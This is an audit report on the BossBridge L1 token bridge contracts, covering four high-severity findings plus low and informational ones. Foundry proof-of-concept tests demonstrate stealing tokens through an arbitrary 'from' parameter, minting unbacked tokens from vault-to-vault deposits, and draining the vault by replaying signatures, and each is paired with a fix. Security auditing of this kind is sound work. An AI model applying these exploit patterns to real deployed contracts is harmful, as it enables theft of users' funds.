BossBridge Audit Report

Version 1.0

nem0x001

June 7, 2024

BossBridge Audit Report

nem0x001

June 7, 2024

Prepared by: nem0x001

Table of Contents

- Low
  - [L-1] Lack of event emission during withdrawals and sending tokesn to L1
- Informational
  - [I-1] `L1Vault::token` should be immutable
  - [I-2] `L1BossBridge::DEPOSIT_LIMIT` should be constant
  - [I-3] Insufficient test coverage

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Disclaimer

nem0x001 has made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

This Audit report for the source code of

CommitHash: `07af21653ab3e8a8362bf5f63eb058047f562375`

Scope

./src/

#– L1BossBridge.sol

#– L1Token.sol

#– L1Vault.sol

#– TokenFactory.sol

Roles

1. Bridge Owner: A centralized bridge owner who can pause/unpause the bridge in the event of an emergency
2. Signer: Users who can “send” a token from L2 -> L1.
3. Vault: The contract owned by the bridge that holds the tokens.
4. Users: Users mainly only call depositTokensToL2, when they want to send tokens from L1 -> L2.

Executive Summary

Audit Duration The audit of the Tswap protocol was conducted over a period of 4 days.

Audit Methodology The audit was performed using a comprehensive approach that included the following methods:

1. **Manual Review**
    - A thorough manual examination of the smart contract code was performed to identify potential security vulnerabilities, logical errors, and areas of improvement. This involved reviewing the code line-by-line to ensure correctness and adherence to best practices.
2. **Unit Testing**

- Extensive unit tests were written and executed to validate the functionality of individual components of the protocol. These tests aimed to cover a wide range of scenarios to ensure each function behaves as expected under various conditions.

3. **static analysis**
    - using slither and adeyn

Issues found

Severity	Number of Issues found
High	4
Medium	0
Low	1
Info	3
Total:	8

Findings

Highs

[H-1] Unspported OPcodes in `TokenFactory::deployToken` the deployment will not work on ZKsync

Description:

Unsupported OpCodes in zkSync for `deployToken` Function The deployToken function is intended to deploy a new token by using inline assembly to invoke the create opcode. However, this approach encounters issues in zkSync Because the compiler must be aware of the bytecode of the deployed contract in advance.

Impact:

The protocol will unable to deploy new token on ZKsync network

Proof of Concept:

https://docs.zksync.io/build/developer-reference/ethereum-differences/evm-instructions#create-create2

[H-2] Arbitrary From in `L1BossBridge::depositTokensToL2` Allowing Attacker to steal from approved user

Description:

The `L1BossBridge::depositTokensToL2` function contains a critical security vulnerability due to the arbitrary from parameter. This issue allows an attacker to steal tokens from any user who has previously approved the bridge contract by exploiting the from param in the function.

```
function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
        //@audit-Low:should follow CEI to prevent re-entrancy
        token.safeTransferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the corresponding tokens on L2
        emit Deposit(from, l2Recipient, amount);
    }
```

Impact:

1.Unauthorized Token Transfers: An attacker can steal tokens from any user who has approved the bridge contract by calling the function with the victim's address as the from parameter.

2. User Trust and Platform Reputation: This vulnerability undermines user trust in the platform. Users expect their token approvals to be used securely, and exploits resulting in unauthorized transfers can lead to a significant loss of trust and harm the platform's reputation.

Proof of Concept: + Include this PoC in `L1BossBridge.T.sol`

```
    function test_anyoneCanStealMoneyFromApprovedUser() public {
        address Attacker = makeAddr("Attacker");
        console2.log("BalanceBefore", token.balanceOf(user));
        uint256 amount = token.balanceOf(user);
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);
        vm.startPrank(Attacker);
        tokenBridge.depositTokensToL2(user, Attacker, amount);
        vm.stopPrank();

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), amount);
    }
```

Recommended Mitigation: + Consider modifying `L1BossBridge::depositTokensToL1` as following

```
- function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
   external whenNotPaused {
     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
         revert L1BossBridge__DepositLimitReached();
     }
-    token.transferFrom(from, address(vault), amount);
+    token.transferFrom(msg.sender, address(vault), amount);

     // Our off-chain service picks up this event and mints the
        corresponding tokens on L2
-    emit Deposit(from, l2Recipient, amount);
+    emit Deposit(msg.sender, l2Recipient, amount);
 }
```

[H-3] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of tokens

Description: `depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2. Additionally, they could mint all the tokens to themselves.

Impact: 1. The Attacker could infinte unpacked tokens 2. The Attakcer could mint all tokens to themselves

Proof of Concept:

- Include this PoC in `L1BossBridge.T.sol`

```
    function test_TransferFromVaultToVault() public {
         address Attacker = makeAddr("Attacker");
         uint256 vaultBalance = 100e18;
         vm.startPrank("Attacker");
         deal(address(token), address(vault), vaultBalance);

         vm.expectEmit(address(tokenBridge));
         emit Deposit(address(vault), Attacker, vaultBalance);
         tokenBridge.depositTokensToL2(address(vault), address(vault),
            vaultBalance);

         vm.expectEmit(address(tokenBridge));
```

```
12          emit Deposit(address(vault), Attacker, vaultBalance);
13          tokenBridge.depositTokensToL2(address(vault), address(vault),
                vaultBalance);
14
15      }
```

Recommended Mitigation:

- As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-4] Lack of replay protection in `L1BossBridge::withdrawTokensToL1` which allow the transaction replay

Description:

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Impact:

- User's funds will be stolen

Proof of Concept:

- Include this PoC in `L1BossBridge.T.sol`

```
1  function test_sigReplayAttack() public {
2          //1-depositing to L2
3          address attacker = makeAddr("attacker");
4          uint256 vaultInitialBalance = 1000e18;
5          uint256 attackerInitialBalance = 1000e18;
6          deal(address(token), address(vault), vaultInitialBalance);
7          deal(address(token), address(attacker), attackerInitialBalance)
               ;
8          vm.startPrank(attacker);
9          token.approve(address(tokenBridge), type(uint256).max);
10         tokenBridge.depositTokensToL2(attacker, attacker,
               attackerInitialBalance);
11
12         //2-signer is going to sign the withdraw
13         bytes memory message = abi.encode(
```

```
14              address(token), 0, abi.encodeCall(IERC20.transferFrom, (
                    address(vault), attacker, attackerInitialBalance))
15          );
16          (uint8 v, bytes32 r, bytes32 s) =
17              vm.sign(operator.key, MessageHashUtils.
                    toEthSignedMessageHash(keccak256(message)));
18
19          //3-attacking
20          while (token.balanceOf(address(vault)) > 0) {
21              tokenBridge.withdrawTokensToL1(attacker,
                    attackerInitialBalance, v, r, s);
22          }
23          assertEq(token.balanceOf(address(attacker)),
                attackerInitialBalance + vaultInitialBalance);
24                  assertEq(token.balanceOf(address(vault)), 0);
25      }
```

Recommended Mitigation:

- Consider redesigning the withdrawal mechanism so that it includes replay protection.such as (nonce)

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Description:

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Recommended Mitigation:

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

Informational

[I-1] `L1Vault::token` should be immutable

[I-2] `L1BossBridge::DEPOSIT_LIMIT` should be constant

[I-3] Insufficient test coverage

```
Running tests...
| File                 | % Lines        | % Statements   | % Branches      | % Funcs       |
| -------------------- | -------------- | -------------- | --------------- | ------------- |
| src/L1BossBridge.sol | 86.67% (13/15) | 90.00% (18/20) | 83.33% (5/6)    | 83.33% (5/6)  |
| src/L1Vault.sol      | 0.00% (0/1)    | 0.00% (0/1)    | 100.00% (0/0)   | 0.00% (0/1)   |
| src/TokenFactory.sol | 100.00% (4/4)  | 100.00% (4/4)  | 100.00% (0/0)   | 100.00% (2/2) |
| Total                | 85.00% (17/20) | 88.00% (22/25) | 83.33% (5/6)    | 77.78% (7/9)  |
```

Recommended Mitigation:

- Aim to get test coverage up to over 90% for all files